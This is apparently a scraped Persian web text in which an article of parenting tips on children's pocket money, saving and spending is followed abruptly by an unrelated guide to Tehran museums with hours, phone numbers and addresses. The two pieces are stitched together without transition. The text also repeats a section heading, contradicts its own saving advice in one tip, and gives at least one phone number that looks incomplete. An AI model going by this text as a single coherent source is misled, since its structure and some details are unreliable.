راهکار‌های پولدار شدن برای بچه‌هادر تمام دنیا مردم به فرزندان خود پول توجیبی می‌دهند

بهترین طریق پرداخت این پول ماهانه است. حقوق هم ماهانه است و مدیریت آن تا آخر ماه دانشی است که هرکس باید در سنین کم بیاموزد. پس بهتر است، والدین پول توجیبی فرزند را به صورت ماهانه بدهند. بچه‌ها اگر بخواهند، می‌توانند خوراکی را از خانه به مدرسه ببرند و از بوفه چیزی نخرند. به جز خوراکی هم خرج خاص دیگری ندارند.

پس والدین باید آن‌ها را تشویق به جمع کردن پول توجیبی کنند تا بعد‌ها بتوانند هر چه را که دلشان می‌خواهد، بخرند. والدین برای تشویق بیشتر می‌توانند قول بدهند، اگر فرزند پولش را جمع کرد و قصد خرید داشت، به او کمک کنند و مابقی پول را بپردازند. این کار فرزند را تشویق به پول جمع کردن می‌کند. برخی والدین تمام زمان خود را صرف کارکردن می‌کنند تا برای فرزندان رفاه به همراه بیاورند. موفق می‌شوند، ولی نمی‌توانند نبود خود را با پول خرج کردن برای آن‌ها پرکنند. والدین خوب به فرزندان خود مبالغ معقول پول توجیبی می‌دهند و درعوض، زمان بیشتری را صرف بودن در کنار فرزندان‌شان می‌کنند.

روش‌های ساده آموزش اقتصادی

۱. به محض اینکه کودکان شمارش را یاد گرفتند، پول را به آن‌ها معرفی کنید. نقش فعالی در فراهم کردن اطلاعات برای آن‌ها داشته باشید. مشاهده و تکرار، دو نمونه از راه‌های مهمی هستند که کودکان به واسطه آن‌ها می‌توانند چیز‌های زیادی یاد بگیرند.

۲. به بچه‌ها بگویید که چگونه می‌توانند پول‌هایشان را پس‌انداز کنند و از این مهمتر به آن‌ها آموزش دهید که چگونه می‌توانند پول هایشان را هوشمندانه خرج کنند.

۳. به فرزندانتان یاد دهید تا اختلاف میان نیاز، خواسته، و آرزو را به خوبی درک کنند. این امر به آن‌ها کمک می‌کند که در آینده تصمیم‌های عاقلانه‌تری در مورد نحوه خرج کردن پول‌هایشان بگیرند.

۴. هدفمندی اهمیت بالایی در یادگیری ارزش پول و پس‌انداز کردن دارد. انسان‌ها چه در دوره‌های ابتدایی زندگی و چه در میانسالی تا هدفی را برای خود تعیین نکنند، نمی‌توانند به آن دست پیدا کنند. در این قسمت می‌توانید هر وسیله بازی یا آیتم‌های دیگری را که کودک از شما تقاضای خرید آن را می‌کند به صورت هدف آن‌ها قرار دهید. چنین هدف سازی‌هایی به کودکان کمک می‌کند یاد بگیرند که در قبال خواسته‌هایشان مسوولیت پذیر باشند.

۵. به کودکان آموزش دهید که اگر پول‌هایشان را پس‌انداز کنند، می‌توانند سودی که برایشان دارد را به مبلغ اولیه پول خود اضافه کنند. اگر کودکان پولی را در خانه پس‌انداز کرده‌اند، سعی کنید خودتان بر روی آن، مقداری پول اضافه گنید و به عنوان سود پول به بچه‌ها بدهید. به آن‌ها یاد بدهید که میزان سود‌های خود را بشمارند و ببینند که چقدر سریع میزان سپرده‌های آن‌ها افزایش پیدا می‌کند.

۶. زمانی که به فرزندان خود پول تو جیبی می‌دهید، قدری اضافه‌تر بدهید تا تشویق به پس‌انداز کردن شوند. به‌عنوان مثال اگر میزان پول تو جیبی هفتگی آن‌ها ۱۰ هزار تومان است، به آن‌ها ۱۱ هزار تومان بدهید تا حداقل بتوانند هزار تومان آن‌را پس‌انداز کنند. اگر هر هفته هزار تومان پس‌انداز کنند و شما هم به آن‌ها سود ۵ درصدی بدهید، پس از یک سال مبلغ قابل‌توجهی را پس‌انداز خواهند کرد.

۷. وقتی بچه‌ها بزرگتر شدند و به سن مدرسه رسیدند حتما آن‌ها را بانک ببرید و برایشان حساب باز کنید. باز کردن زود هنگام حساب پس‌انداز یکی از راه‌هایی است که می‌تواند آینده مالی کودکان را تضمین کند. البته اگر زمانی از شما تقاضا کردند برای خرید، مبلغی از حسابشان بردارند، نباید با آن‌ها مخالفت کنید. این کار ممکن است آن‌ها را به‌طور کلی از پس‌انداز کردن دلسرد کند.

۸. کودکان را تشویق کنید که رسید کلیه اجناسی را که می‌خرند در پاکت قرار داده تا به درستی متوجه شوند با پول‌هایشان چه کاری می‌کنند.

آموزش پول خرج کردن به کودکان

۹. با کودکان به خرید بروید و به آن‌ها نحوه صحیح خرید کردن و ارزش پول را آموزش دهید. رفتن به سوپر مارکت معمولا اولین تجربه کودکان در یادگیری خرج کردن پول است. معمولا بخش مهمی از درآمد خانواده صرف خرید از سوپر مارکت و تهیه مایحتاج روزانه زندگی می‌شود.

برای اینکه به فرزندان خود کمک کنید که این درس را آموزش ببینند، باید به آن‌ها یاد بدهید که چگونه می‌توانند برای مصرف غذا‌های به‌صرفه‌تر برنامه‌ریزی کنند، از دور ریختن غذا‌ها جلوگیری کرده و نحوه صحیح استفاده مجدد از باقی‌مانده غذا‌ها را نیز به آن‌ها آموزش دهید. اگر خرج کردن‌های ما از روی برنامه‌ریزی نباشد، ۲۰ تا ۳۰ درصداز پولمان حرام خواهد شد.

۱۰. به جوانان اجازه دهید تا برای خرج کردن پول هایشان خودشان تصمیم بگیرند. چه تصمیم‌گیری‌های آن‌ها مناسب باشد، چه در تصمیم‌های خود موفق نباشند، به هر حال از تصمیم‌گیری‌های خود لذت خواهند برد.

۱۱. به کودکان خود نحوه صحیح ارزیابی تبلیغاتی که از تلویزیون و رادیو پخش می‌شود را آموزش دهید. آیا محصول دقیقا همان امکاناتی را که در تبلیغ پخش می‌شود، ارائه می‌دهد؟ آیا قیمت ارائه شده، قیمت حقیقی کالاست؟ به آن‌ها یادآوری کنید که اگر کالایی به نظر خیلی به صرفه و کارآمد می‌رسید، در خرید آن تعلل نکنند.

۱۲. کودکان را با خطرات پول بهره‌ای آشنا کنید. اگر هنگامی‌که از شما پول قرض می‌گیرند از آن‌ها سود دریافت کنید، آن‌وقت متوجه می‌شوند که قرض گرفتن پول دیگری تا چه اندازه برایشان گران تمام می‌شود.

۱۳. زمانی که در رستوران‌ها از کارت اعتباری استفاده می‌کنید، به کودکان خود نحوه کار کردن با آن را آموزش دهید. به کودکان خود آموزش دهید که چگونه باید انعام‌ها را حساب کنند و آن‌ها را از طرق مختلف سوءاستفاده‌هایی که ممکن است از کارت اعتباری پدید آید، آگاه کنید.

۱۴. در فراهم آوردن کارت اعتباری برای فرزندان، حتی زمانی‌که وارد دانشگاه می‌شوند نیز محتاط باشید. کارت‌های اعتباری یک پیام بیشتردر بر ندارند: «خرج کن!»؛ بنابراین بیشتر نوجوانان و جوانان ترجیح می‌دهند پول‌های حساب خود را صرف مخارج روزانه کنند و چیزی برای پس انداز نمی‌ماند.

۱۵. برای بحث‌های خانوادگی در مورد مسائل مالی برنامه‌ای مدون تنظیم کنید. این امر برای بچه‌های کوچک‌تر هم مفید خواهد بود.

۱۶. اکثر کودکان در خانه و در اتاقشان قلک‌کوچکی دارند که با تشویق والدین گاهی مقداری پول در آن می‌ریزند و در مناسبت‌هایی با اجازه والدین و گاهی تصمیم خودشان آن را می‌شکنند و از پول جمع شده در آن استفاده می‌کنند. حالا می‌توانیم این پروژه را در زمان بسته و مشخص به کودکمان بیاموزیم، به این نحو که حسابی به نام کودک در بانک افتتاح می‌کنیم و در روز‌های مشخصی مثلا به صورت قلک را باز می‌کنیم و همراه با کودک پول‌ها را به بانک می‌بریم و در حساب شخصی او واریز می‌کنیم و هر ماه به او اعلام می‌کنیم که چقدر در حسابش پس‌انداز شده است.

۱۷. هرگز به کودک نگویید باید پول توجیبی‌اش را پس‌انداز کند. اگر آن‌ها پول توجیبی‌شان را در جعبه کفش در عقب کمد خود پنهان و آن را برای زمانی که بزرگ می‌شوند پس‌اندازکنند در آن صورت هیچگاه نمی‌توانند موضوع خرج کردن درست پول را یاد بگیرند.

آموزش پول خرج کردن به کودکان

۱۸. واگذاری بخشی از هزینه‌های منزل به فرزندان می‌تواند شروع خوبی در این مسیر باشد. برای مثال هزینه لازم برای خرید “نان” مورد نیاز یک هفته را در اختیار فرزندتان قرار دهید و از وی بخواهید طی مدت مذکور این پول را مدیریت و خرید نان را انجام دهد.

۱۹. یکی دیگر از اقدامات ارزشمند در راستای آموزش مفاهیم اقتصادی به کودکان، استفاده از وسایل کمک آموزشی و بازی‌های گروهی با تم اقتصادی است. یادتان باشد که بچه‌ها بیشتر مسائل مهم زندگی را از بازی کردن می‌آموزند.

در بازی‌هایی که دارای اسکناس‌های کاغذی با ارزش متفاوت، بانک، جریمه مالی و … هستند، یک نفر به عنوان بانکدار انتخاب شده و خزانه را به دست می‌گیرد، سایر شرکت کنندگان نیز هر کدام مقداری پول در ابتدای بازی دریافت می‌کنند و سپس در مراحل بازی به تجارت پرداخته و سعی در افزایش دارایی‌های خود دارند. در برخی مراحل از بانک وام دریافت می‌کنند و پس از کسب درآمد تعهدات خود را پرداخت می‌کنند. از این رو آموزشگاهی کوچک در چارچوب بازی را مقابل فرزندانتان قرار خواهید داد.

۲۰. البته اینگونه رفتار‌ها در صورتی تاثیرگزار خواهد بود و منجر به فرهنگ‌سازی خواهد شد که مستمر باشد و رها نشود و پیوسته توسط والدین پیگیری شود و به طور مثال در انتهای هرماه یا هر هفته از کودک بپرسیم که این هفته چقدر پول در قلک خود ریخته است. این پرسش باعث می‌شود که کودک اگر پس‌انداز هم نکرده باشد به فکر بیفتد و پیگیری کند.

برای پیدا کردن موزه های بیشمار تهران باید به فهرست کامل موزه های تهران رجوع کرد


موزه ها در هر شهری، نماد هویت آن شهر و کشور است. موزه ها در شهرهایی مانند تهران مانند نشانه ها و مدال های افتخاری است که بر سینه آن ها چسبیده و شهرها نیز تمام تلاش شان را می کنند تا مانند مهم ترین المان های شهری خود از آن ها مراقبت کنند و روز به روز، بیش تر این ساختمان های پر از گنجینه را به مردم شان نشان دهند. موزه ها در تهران از تنوع بسیار بالایی برخوردار هستند و هر کدام نمایشگر قسمتی از خط تاریخی ایران زمین هستند. این تنوع و فراوانی ما را بر آن داشته تا فهرست کامل موزه های تهران را در این مقال تهیه کنیم و با هم به مرور تک تک آن ها بپردازیم.

موزه جواهرات ملی

مطالب مرتبط:
خانه گوا، موزه ای با سبک نوین معماری هند و پرتغال
معرفی موزه استانبول مدرن، اولین موزه هنر معاصر ترکیه
موزه پرنس ویلز، جاذبه ای دیدنی در دل بمبئی

اگر بخواهیم با خودمان روراست باشیم باید بگوییم که جاهایی را در عمرمان دیده ایم که دل مان می خواسته چیزی از آن را به یادگار برداریم! هوس در میان تمام انسان ها حسی است مشترک اما می توان گفت که موزه جواهرات ملی که در صدر فهرست کامل موزه های تهران قرار دارد، از این قاعده مستثنا است. دلیل استثنایی بودن این موزه به این دلیل است که در حین مجذوب شدن در میان جواهرات سلطنتی این موزه؛ از الماس دریای نور گرفته تا تخت نادری و تخت طاووس و هزاران جواهرات ریز و درشت دیگر، خیال مان از یک بابت راحت است که این جواهرات اگر دست ما و در صندوقچه خانه هامان نباشد، حداقل در جایی امن به نام موزه جواهرات ملی قرار گرفته است و جای شان امن است. گفتنی است که موزه جواهرات ملی ه نوعی خزانه جواهرات ملی هم است؛ چراکه این گنجینه نایاب و بی قیمت، پشتوانه مالی و پولی ایران است. بازدید از این موزه بسیار با دقت انجام می شود و نوع حفاظت آن با دیگر موزه ها کمی متفاوت است. روزهای بازدید از موزه جواهرات ملی از روز شنبه تا سه شنبه هر هفته از ساعت ۲ تا ۴:۳۰ بعد از ظهر است. در ضمن، به یاد داشته باشید که ورود افراد زیر ۱۲ سال به این موزه ممنوع است!

امکانات و شماره تماس و نشانی موزه جواهرات ملی

نگران سخت گیری های ورود و خروج این موزه دیدنی نباشید؛ فضای بیرونی موزه جواهرات ملی هم کافه دارد و هم بوفه! برای کسانی که دل شان می خواهد در فضای این موزه استراحت کنند و نفسی تازه کنند می توانند به کافه و بوفه این موزه مراجعه کنند. البته می توانید با سپردن وسایل خود به قسمت امانتداری موزه جواهرات ملی در زمان ورود به موزه با خیال راحت وارد موزه شوید و در هنگام خروج وسایل خود را تحویل بگیرید. می توانید با گرفتن شماره ۰۲۱-۶۴۴۶۳۷۸۵ تماس بگیرید و از اطلاعات بیش تری از موزه جواهرات ملی آگاه شوید. نشانی موزه نیز برای هر نوع وسیله نقلیه ای به راحتی در دسترس است؛ میدان امام خمینی، خیابان فردوسی، چهارراه استانبول، جنب ساختمان بانک مرکزی ایران نشانی مورزه جواهرات ملی است.

موزه ملی ایران

موزه ملی ایران که در فهرست کامل موزه های تهران جایگاهی بی برو و برگرد دارد، محافظ اصلی آثار به جا مانده از ایران باستان است و در ده های پیشینف مورد توجه بازدیدکنندگان خارجی بسیاری بوده است. غرور و افتخار ایرانی را می توان در میان اشیا تحت حفاظت این موزه پیدا کرد؛ مرد پارتی، مرد نمکی، سنگ نبشته های سه هزار ساله و بیش از سیصد هزار اثر به جا مانده از ایران باستان، همگی در دل این موزه قرار دارند. البته باید اشاره کرد که موزه ملی ایران به دو بخش موزه ایران باستان و موزه دوران اسلامی تقسیم شده است؛ به انضمام بخش موزه ایران باستان، موزه دوران اسلامی نیز از نظر میزان و ارزش اشیا محافظت شده، دست کمی از بخش باستانی آن ندارد. می توان گفت که بخش دوران اسلامی نمونه بارز و بی مثالی از هنر اسلامی و اسناد آن را به نمایش گذاشته است.

امکانات و نشانی موزه ملی ایران

موزه ملی ایران در یکی از زیباترین و قدیمی ترین مناطق تهران قرار گرفته و نه تنها ساختمان موزه از ساختمان های قدیمی تهران به حساب می آید بلکه خیابان ها و ارگان های دولتی اطراف این موزه نیز هر کسی را به یاد ده های پیشین ایران می اندازد. در فضای بیرونی موزه ملی ایران نیز کافه رستوران زیبایی با منویی متنوع از غذاهای و نوشیدنی های سرد و گرم وجود دارد که بازدیدکنندگان می توانند از خدمات آن استفاده کنند. برای رفتن به موزه ملی ایران می توانید اول به خیابان امام خمینی و بعد به خیابان سی تیر و پس از آن به خیابان پروفسور رولن بروید و از موزه ملی ایران دیدن کنید.

موزه رضا عباسی، ناشناخته اما زیبا!

یکی از زیباترین موزه هایی که در شهر شهیر تهران مظلوم واقع شده همین موزه رضا عباسی است. موزه از پنج تالار شگفت انگیز تشکیل شده است؛ تالار نمایشگاه موقت که در طبقه همکف قرار گرفته است و مربوط به نمایشگاه های صنایع دستی فصلی است. تالار خوشنویسی در طبقه اول موزه رضا عباسی قرار دارد که مملو از تابلو نوشته های فوق العاده زیبا است. تالار نگارگری نیز در طبقه اول جا گرفته که گنجینه ای از تابلوهای نقاشی ارزشمند از استادان بزرگ نگارگری ایران است. تالار هنرهای اسلامی هم در طبقه دوم قرار گرفته که برای علاقمندان هنر هزار رنگ اسلامی، تالاری خارق العاده است. کمی از پله بالا بروید و تالارهای زیبای موزه رضا عباسی را از پیش چشم بگذرانید به طبقه سوم می رسید که تالار دوره پیش از اسلام را از آن خود کرده است. به راستی که موزه رضا عباسی شایسته جاگیری در میان فهرست کامل موزه های تهران است! البته برای این که دیدار از این موزه برای بازدیدکنندگان سخت نباشد، دیدار از تالارهای این موزه از طبقه سوم شروع می شود و به طبقه همکف ختم می شود. البته باید گفت که موزه رضا عباسی به موزه «آقا رضا» و «رضا خان» نیز معروف است.

امکانات و نشانی موزه رضا عباسی

موزه رضا عباسی به جز روزهای دوشنبه در تمام روزهای هفته میزبان گردشگران و مسافران و بازدیدکنندگان است. ساعت کاری موزه از ساعت ۹ صبح تا ۴ بعد از ظهر است. در موزه رضا عباسی هم بوفه ای برای استراحت و گلویی تازه کردن وجود دارد و هم رستورانی با همان فضای باستانی برای صرف غذاهای خوشمزه ایرانی! برای این که از اطلاعات موزه رضا عباسی باخبر شوید می توانید با شماره ۸۸۴۶۳۰۰۱-۰۲۱ تماس بگیرید و برای این که بتوانید سری به این موزه بزنید می توانید از خیابان شریعتی به پل سیدخندان راه پیدا کنید و بعد از آن به راحتی به موزه رضا عباسی وارد شوید.

موزه آبگینه و سفالینه

بی رحمی است اگر موزه ای که هنر بی مانند سفال و آبگینه را در خود حفظ می کند را در فهرست کامل موزه های تهران قرار ندهیم! موزه آبگینه و سفالینه در شهر تهران قرار گرفته است و جز ده موزه عالی ایران به حساب می آید. جدا از آثار خارق العاده سفالی که در موزه قرار گرفته است، باید اول نگاهی طولانی و عمیق به ساختمان موزه و طراحی داخلی و خارجی آن انداخت؛ گچ کاری ها، آجر های منحصر به فرد، مینا کاری  و منبت کاری های بی نظیر و مثال زدنی موزه آبگینه و سفالینه، کاری می کند تا بسیاری از بازدیدکنندگان، اصلا، اصل موضوع را فراموش کنند و ترجیح دهند بیش تر در فضای موزه بچرخند و لذت ببرند. تالار زرین فام، تالار دیداری شنیداری، تالار صدف، تالار مینا، تالار مینا، تالار لاجورد و تالار بلور از قسمت های موزه سفالینه و آبگینه هستند که هر کدام از آن ها جهانی از هنر ظریف و زیبای ایران را در اختیار شما قرار می دهند.

امکانات و نشانی موزه آبگینه و سفالینه تهران

موزه آبگینه در نیمه اول سال از ساعت ۹ صبح تا ۷ بعد از ظهر فعال است و در شش ماه دوم سال از ۸ صبح تا ۵ بعد از ظهر به فعالیت خود ادامه می دهد. در موزه آبگینه و سفالینه، فروشگاه فرهنگی قرار دارد که برای علاقمندان محصولات فرهنگی، مکتوبات و کتاب های بسیاری در مورد تاریخ سفالینه های باستانی و تاریخی و اسلامی ایران را ارائه می کند. اگر می خواهید در وقت صرفه جویی کنید و از اطلاعات بیش تری باخبر شوید می توانید با شماره ۶۶۷۰۸۱۵۳-۰۲۱ تماس بگیرید. برای حضور یافتن در این موزه می توانید به نشانی؛ خیابان جمهوری و سپس خیابان سی تیر بروید.

موزه پول ایران با طرحی متفاوت

حتی ساختمان این موزه نیز آدم را یاد سکه های ضرب شده می اندازد! ساختار موزه پول ایران، نمونه بارز یک ساختمان با معماری نئو کلاسیک در تهران است. ساختار بتونی و خم و تاب های این موزه برای هر کسی جالب توجه است. داخل موزه که می شوید، می توانید در یک چشم به هم زدن سیر ضرب پول را در ایران؛ از سکه گرفته تا اسکناس های کاغذی را ببینید. البته گفتنی است که ضرب پول در ایران، پیشینه ای بسیار طولانی دارد و با این همه جمع آوری سکه ها و واحد های پولی این کشور، همچنان هستند دوره هایی که کسی از آن ها به درستی خبر ندارد. موزه پول را به موزه تماشاگه پول نیز می شناسند و این نام برای قدیمی های تهران یادآور خاطرات بسیاری از ده های پیشین تهران است.

امکانات و نشانی موزه پول ایران

موزه پول ایران هر روز به غیر از روزهای تعطیل رسمی کشور میزبان بازدیدکنندگان است. می توانید برای برقراری ارتباط تلفنی با موزه پول ایران با شماره ۰۲۱-۸۷۷۴۷۴۵ تماس بگیرید و از اطلاعات بیش تری از ساعات کاری موزه باخبر شوید. برای رفتن به موزه پول ایران می توانید به خیابان میرداماد بروید و به راحتی به موزه دسترسی پیدا کنید.